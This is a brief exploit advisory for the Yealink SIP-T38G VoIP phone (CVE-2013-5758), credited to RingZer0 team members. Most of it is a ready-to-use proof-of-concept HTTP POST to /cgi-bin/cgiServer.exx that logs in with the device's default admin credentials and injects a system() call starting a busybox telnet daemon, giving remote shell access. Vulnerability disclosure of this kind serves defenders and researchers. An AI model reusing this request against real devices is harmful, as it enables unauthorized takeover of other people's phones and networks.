Title: Yealink VoIP Phone SIP-T38G Remote Command Execution Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team Vendor Homepage: http://www.yealink.com/Companyprofile.aspx Version: VoIP Phone SIP-T38G CVE: CVE-2013-5758 Description: Using cgiServer.exx we are able to send OS command using the system function. POC: POST /cgi-bin/cgiServer.exx HTTP/1.1 Host: 10.0.75.122 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46YWRtaW4= (Default Creds CVE-2013-5755) Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 0 system("/bin/busybox%20telnetd%20start") -- *Mr.Un1k0d3r** or 1 #*